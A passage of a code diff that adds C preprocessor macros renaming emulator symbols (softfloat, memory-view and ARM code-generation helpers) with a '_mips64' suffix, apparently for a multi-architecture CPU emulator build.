extractFloatx80Sign_mips64 +#define fcse_write fcse_write_mips64 +#define find_better_copy find_better_copy_mips64 +#define find_default_machine find_default_machine_mips64 +#define find_desc_by_name find_desc_by_name_mips64 +#define find_first_bit find_first_bit_mips64 +#define find_paging_enabled_cpu find_paging_enabled_cpu_mips64 +#define find_ram_block find_ram_block_mips64 +#define find_ram_offset find_ram_offset_mips64 +#define find_string find_string_mips64 +#define find_type find_type_mips64 +#define _fini _fini_mips64 +#define flatrange_equal flatrange_equal_mips64 +#define flatview_destroy flatview_destroy_mips64 +#define flatview_init flatview_init_mips64 +#define flatview_insert flatview_insert_mips64 +#define flatview_lookup flatview_lookup_mips64 +#define flatview_ref flatview_ref_mips64 +#define flatview_simplify flatview_simplify_mips64 +#define flatview_unref flatview_unref_mips64 +#define float128_add float128_add_mips64 +#define float128_compare float128_compare_mips64 +#define float128_compare_internal float128_compare_internal_mips64 +#define float128_compare_quiet float128_compare_quiet_mips64 +#define float128_default_nan float128_default_nan_mips64 +#define float128_div float128_div_mips64 +#define float128_eq float128_eq_mips64 +#define float128_eq_quiet float128_eq_quiet_mips64 +#define float128_is_quiet_nan float128_is_quiet_nan_mips64 +#define float128_is_signaling_nan float128_is_signaling_nan_mips64 +#define float128_le float128_le_mips64 +#define float128_le_quiet float128_le_quiet_mips64 +#define float128_lt float128_lt_mips64 +#define float128_lt_quiet float128_lt_quiet_mips64 +#define float128_maybe_silence_nan float128_maybe_silence_nan_mips64 +#define float128_mul float128_mul_mips64 +#define float128_rem float128_rem_mips64 +#define float128_round_to_int float128_round_to_int_mips64 +#define float128_scalbn float128_scalbn_mips64 +#define float128_sqrt float128_sqrt_mips64 +#define float128_sub float128_sub_mips64 +#define float128ToCommonNaN float128ToCommonNaN_mips64 +#define float128_to_float32 float128_to_float32_mips64 +#define float128_to_float64 float128_to_float64_mips64 +#define float128_to_floatx80 float128_to_floatx80_mips64 +#define float128_to_int32 float128_to_int32_mips64 +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_mips64 +#define float128_to_int64 float128_to_int64_mips64 +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_mips64 +#define float128_unordered float128_unordered_mips64 +#define float128_unordered_quiet float128_unordered_quiet_mips64 +#define float16_default_nan float16_default_nan_mips64 +#define float16_is_quiet_nan float16_is_quiet_nan_mips64 +#define float16_is_signaling_nan float16_is_signaling_nan_mips64 +#define float16_maybe_silence_nan float16_maybe_silence_nan_mips64 +#define float16ToCommonNaN float16ToCommonNaN_mips64 +#define float16_to_float32 float16_to_float32_mips64 +#define float16_to_float64 float16_to_float64_mips64 +#define float32_abs float32_abs_mips64 +#define float32_add float32_add_mips64 +#define float32_chs float32_chs_mips64 +#define float32_compare float32_compare_mips64 +#define float32_compare_internal float32_compare_internal_mips64 +#define float32_compare_quiet float32_compare_quiet_mips64 +#define float32_default_nan float32_default_nan_mips64 +#define float32_div float32_div_mips64 +#define float32_eq float32_eq_mips64 +#define float32_eq_quiet float32_eq_quiet_mips64 +#define float32_exp2 float32_exp2_mips64 +#define float32_exp2_coefficients float32_exp2_coefficients_mips64 +#define float32_is_any_nan float32_is_any_nan_mips64 +#define float32_is_infinity float32_is_infinity_mips64 +#define float32_is_neg float32_is_neg_mips64 +#define float32_is_quiet_nan float32_is_quiet_nan_mips64 +#define float32_is_signaling_nan float32_is_signaling_nan_mips64 +#define float32_is_zero float32_is_zero_mips64 +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_mips64 +#define float32_le float32_le_mips64 +#define float32_le_quiet float32_le_quiet_mips64 +#define float32_log2 float32_log2_mips64 +#define float32_lt float32_lt_mips64 +#define float32_lt_quiet float32_lt_quiet_mips64 +#define float32_max float32_max_mips64 +#define float32_maxnum float32_maxnum_mips64 +#define float32_maxnummag float32_maxnummag_mips64 +#define float32_maybe_silence_nan float32_maybe_silence_nan_mips64 +#define float32_min float32_min_mips64 +#define float32_minmax float32_minmax_mips64 +#define float32_minnum float32_minnum_mips64 +#define float32_minnummag float32_minnummag_mips64 +#define float32_mul float32_mul_mips64 +#define float32_muladd float32_muladd_mips64 +#define float32_rem float32_rem_mips64 +#define float32_round_to_int float32_round_to_int_mips64 +#define float32_scalbn float32_scalbn_mips64 +#define float32_set_sign float32_set_sign_mips64 +#define float32_sqrt float32_sqrt_mips64 +#define float32_squash_input_denormal float32_squash_input_denormal_mips64 +#define float32_sub float32_sub_mips64 +#define float32ToCommonNaN float32ToCommonNaN_mips64 +#define float32_to_float128 float32_to_float128_mips64 +#define float32_to_float16 float32_to_float16_mips64 +#define float32_to_float64 float32_to_float64_mips64 +#define float32_to_floatx80 float32_to_floatx80_mips64 +#define float32_to_int16 float32_to_int16_mips64 +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_mips64 +#define float32_to_int32 float32_to_int32_mips64 +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_mips64 +#define float32_to_int64 float32_to_int64_mips64 +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_mips64 +#define float32_to_uint16 float32_to_uint16_mips64 +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_mips64 +#define float32_to_uint32 float32_to_uint32_mips64 +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_mips64 +#define float32_to_uint64 float32_to_uint64_mips64 +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_mips64 +#define float32_unordered float32_unordered_mips64 +#define float32_unordered_quiet float32_unordered_quiet_mips64 +#define float64_abs float64_abs_mips64 +#define float64_add float64_add_mips64 +#define float64_chs float64_chs_mips64 +#define float64_compare float64_compare_mips64 +#define float64_compare_internal float64_compare_internal_mips64 +#define float64_compare_quiet float64_compare_quiet_mips64 +#define float64_default_nan float64_default_nan_mips64 +#define float64_div float64_div_mips64 +#define float64_eq float64_eq_mips64 +#define float64_eq_quiet float64_eq_quiet_mips64 +#define float64_is_any_nan float64_is_any_nan_mips64 +#define float64_is_infinity float64_is_infinity_mips64 +#define float64_is_neg float64_is_neg_mips64 +#define float64_is_quiet_nan float64_is_quiet_nan_mips64 +#define float64_is_signaling_nan float64_is_signaling_nan_mips64 +#define float64_is_zero float64_is_zero_mips64 +#define float64_le float64_le_mips64 +#define float64_le_quiet float64_le_quiet_mips64 +#define float64_log2 float64_log2_mips64 +#define float64_lt float64_lt_mips64 +#define float64_lt_quiet float64_lt_quiet_mips64 +#define float64_max float64_max_mips64 +#define float64_maxnum float64_maxnum_mips64 +#define float64_maxnummag float64_maxnummag_mips64 +#define float64_maybe_silence_nan float64_maybe_silence_nan_mips64 +#define float64_min float64_min_mips64 +#define float64_minmax float64_minmax_mips64 +#define float64_minnum float64_minnum_mips64 +#define float64_minnummag float64_minnummag_mips64 +#define float64_mul float64_mul_mips64 +#define float64_muladd float64_muladd_mips64 +#define float64_rem float64_rem_mips64 +#define float64_round_to_int float64_round_to_int_mips64 +#define float64_scalbn float64_scalbn_mips64 +#define float64_set_sign float64_set_sign_mips64 +#define float64_sqrt float64_sqrt_mips64 +#define float64_squash_input_denormal float64_squash_input_denormal_mips64 +#define float64_sub float64_sub_mips64 +#define float64ToCommonNaN float64ToCommonNaN_mips64 +#define float64_to_float128 float64_to_float128_mips64 +#define float64_to_float16 float64_to_float16_mips64 +#define float64_to_float32 float64_to_float32_mips64 +#define float64_to_floatx80 float64_to_floatx80_mips64 +#define float64_to_int16 float64_to_int16_mips64 +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_mips64 +#define float64_to_int32 float64_to_int32_mips64 +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_mips64 +#define float64_to_int64 float64_to_int64_mips64 +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_mips64 +#define float64_to_uint16 float64_to_uint16_mips64 +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_mips64 +#define float64_to_uint32 float64_to_uint32_mips64 +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_mips64 +#define float64_to_uint64 float64_to_uint64_mips64 +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_mips64 +#define float64_trunc_to_int float64_trunc_to_int_mips64 +#define float64_unordered float64_unordered_mips64 +#define float64_unordered_quiet float64_unordered_quiet_mips64 +#define float_raise float_raise_mips64 +#define floatx80_add floatx80_add_mips64 +#define floatx80_compare floatx80_compare_mips64 +#define floatx80_compare_internal floatx80_compare_internal_mips64 +#define floatx80_compare_quiet floatx80_compare_quiet_mips64 +#define floatx80_default_nan floatx80_default_nan_mips64 +#define floatx80_div floatx80_div_mips64 +#define floatx80_eq floatx80_eq_mips64 +#define floatx80_eq_quiet floatx80_eq_quiet_mips64 +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_mips64 +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_mips64 +#define floatx80_le floatx80_le_mips64 +#define floatx80_le_quiet floatx80_le_quiet_mips64 +#define floatx80_lt floatx80_lt_mips64 +#define floatx80_lt_quiet floatx80_lt_quiet_mips64 +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_mips64 +#define floatx80_mul floatx80_mul_mips64 +#define floatx80_rem floatx80_rem_mips64 +#define floatx80_round_to_int floatx80_round_to_int_mips64 +#define floatx80_scalbn floatx80_scalbn_mips64 +#define floatx80_sqrt floatx80_sqrt_mips64 +#define floatx80_sub floatx80_sub_mips64 +#define floatx80ToCommonNaN floatx80ToCommonNaN_mips64 +#define floatx80_to_float128 floatx80_to_float128_mips64 +#define floatx80_to_float32 floatx80_to_float32_mips64 +#define floatx80_to_float64 floatx80_to_float64_mips64 +#define floatx80_to_int32 floatx80_to_int32_mips64 +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_mips64 +#define floatx80_to_int64 floatx80_to_int64_mips64 +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_mips64 +#define floatx80_unordered floatx80_unordered_mips64 +#define floatx80_unordered_quiet floatx80_unordered_quiet_mips64 +#define flush_icache_range flush_icache_range_mips64 +#define format_string format_string_mips64 +#define fp_decode_rm fp_decode_rm_mips64 +#define frame_dummy frame_dummy_mips64 +#define free_range free_range_mips64 +#define fstat64 fstat64_mips64 +#define futex_wait futex_wait_mips64 +#define futex_wake futex_wake_mips64 +#define gen_aa32_ld16s gen_aa32_ld16s_mips64 +#define gen_aa32_ld16u gen_aa32_ld16u_mips64 +#define gen_aa32_ld32u gen_aa32_ld32u_mips64 +#define gen_aa32_ld64 gen_aa32_ld64_mips64 +#define gen_aa32_ld8s gen_aa32_ld8s_mips64 +#define gen_aa32_ld8u gen_aa32_ld8u_mips64 +#define gen_aa32_st16 gen_aa32_st16_mips64 +#define gen_aa32_st32 gen_aa32_st32_mips64 +#define gen_aa32_st64 gen_aa32_st64_mips64 +#define gen_aa32_st8 gen_aa32_st8_mips64 +#define gen_adc gen_adc_mips64 +#define gen_adc_CC gen_adc_CC_mips64 +#define gen_add16 gen_add16_mips64 +#define gen_add_carry gen_add_carry_mips64 +#define gen_add_CC gen_add_CC_mips64 +#define gen_add_datah_offset gen_add_datah_offset_mips64 +#define gen_add_data_offset gen_add_data_offset_mips64 +#define gen_addq gen_addq_mips64 +#define gen_addq_lo gen_addq_lo_mips64 +#define gen_addq_msw gen_addq_msw_mips64 +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_mips64 +#define gen_arm_shift_im gen_arm_shift_im_mips64 +#define gen_arm_shift_reg gen_arm_shift_reg_mips64 +#define gen_bx gen_bx_mips64 +#define gen_bx_im gen_bx_im_mips64 +#define gen_clrex gen_clrex_mips64 +#define generate_memory_topology generate_memory_topology_mips64 +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_mips64 +#define gen_exception gen_exception_mips64 +#define gen_exception_insn gen_exception_insn_mips64 +#define gen_exception_internal gen_exception_internal_mips64 +#define gen_exception_internal_insn gen_exception_internal_insn_mips64 +#define gen_exception_return gen_exception_return_mips64 +#define gen_goto_tb gen_goto_tb_mips64 +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_mips64 +#define gen_helper_add_saturate gen_helper_add_saturate_mips64 +#define gen_helper_add_setq gen_helper_add_setq_mips64 +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_mips64 +#define gen_helper_clz32 gen_helper_clz32_mips64 +#define gen_helper_clz64 gen_helper_clz64_mips64 +#define gen_helper_clz_arm gen_helper_clz_arm_mips64 +#define gen_helper_cpsr_read gen_helper_cpsr_read_mips64 +#define gen_helper_cpsr_write gen_helper_cpsr_write_mips64 +#define gen_helper_crc32_arm gen_helper_crc32_arm_mips64 +#define gen_helper_crc32c gen_helper_crc32c_mips64 +#define gen_helper_crypto_aese gen_helper_crypto_aese_mips64 +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_mips64 +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_mips64 +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_mips64 +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_mips64 +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_mips64 +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_mips64 +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_mips64 +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_mips64 +#define gen_helper_double_saturate gen_helper_double_saturate_mips64 +#define gen_helper_exception_internal gen_helper_exception_internal_mips64 +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_mips64 +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_mips64 +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_mips64 +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_mips64 +#define gen_helper_get_user_reg gen_helper_get_user_reg_mips64 +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_mips64 +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_mips64 +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_mips64 +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_mips64 +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_mips64 +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_mips64 +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_mips64 +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_mips64 +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_mips64 +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_mips64 +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_mips64 +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_mips64 +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_mips64 +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_mips64 +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_mips64 +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_mips64 +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_mips64 +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_mips64 +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_mips64 +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_mips64 +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_mips64 +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_mips64 +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_mips64 +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_mips64 +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_mips64 +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_mips64 +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_mips64 +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_mips64 +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_mips64 +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_mips64 +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_mips64 +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_mips64 +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_mips64 +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_mips64 +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_mips64 +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_mips64 +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_mips64 +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_mips64 +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_mips64 +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_mips64 +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_mips64 +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_mips64 +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_mips64 +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_mips64 +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_mips64 +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_mips64 +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_mips64 +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_mips64 +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_mips64 +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_mips64 +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_mips64 +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_mips64 +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_mips64 +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_mips64 +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_mips64 +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_mips64 +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_mips64 +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_mips64 +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_mips64 +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_mips64 +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_mips64 +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_mips64 +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_mips64 +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_mips64 +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_mips64 +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_mips64 +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_mips64 +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_mips64 +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_mips64 +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_mips64 +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_mips64 +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_mips64 +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_mips64 +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_mips64 +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_mips64 +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_mips64 +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_mips64 +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_mips64 +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_mips64 +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_mips64 +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_mips64 +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_mips64 +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_mips64 +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_mips64 +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_mips64 +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_mips64 +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_mips64 +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_mips64 +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_mips64 +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_mips64 +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_mips64 +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_mips64 +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_mips64 +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_mips64 +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_mips64 +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_mips64 +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_mips64 +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_mips64 +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_mips64 +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_mips64 +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_mips64 +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_mips64 +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_mips64 +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_mips64 +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_mips64 +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_mips64 +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_mips64 +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_mips64 +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_mips64 +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_mips64 +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_mips64 +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_mips64 +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_mips64 +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_mips64 +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_mips64 +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_mips64 +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_mips64 +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_mips64 +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_mips64 +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_mips64 +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_mips64 +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_mips64 +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_mips64 +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_mips64 +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_mips64 +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_mips64 +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_mips64 +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_mips64 +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_mips64 +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_mips64 +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_mips64 +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_mips64 +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_mips64 +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_mips64 +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_mips64 +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_mips64 +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_mips64 +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_mips64 +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_mips64 +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_mips64 +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_mips64 +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_mips64 +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_mips64 +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_mips64 +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_mips64 +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_mips64 +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_mips64 +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_mips64 +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_mips64 +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_mips64 +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_mips64 +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_mips64 +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_mips64 +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_mips64 +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_mips64 +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_mips64 +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_mips64 +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_mips64 +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_mips64 +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_mips64 +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_mips64 +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_mips64 +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_mips64 +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_mips64 +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_mips64 +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_mips64 +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_mips64 +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_mips64 +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_mips64 +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_mips64 +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_mips64 +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_mips64 +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_mips64 +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_mips64 +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_mips64 +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_mips64 +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_mips64 +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_mips64 +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_mips64 +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_mips64 +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_mips64 +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_mips64 +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_mips64 +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_mips64 +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_mips64 +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_mips64 +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_mips64 +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_mips64 +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_mips64 +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_mips64 +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_mips64 +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_mips64 +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_mips64 +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_mips64 +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_mips64 +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_mips64 +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_mips64 +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_mips64 +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_mips64 +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_mips64 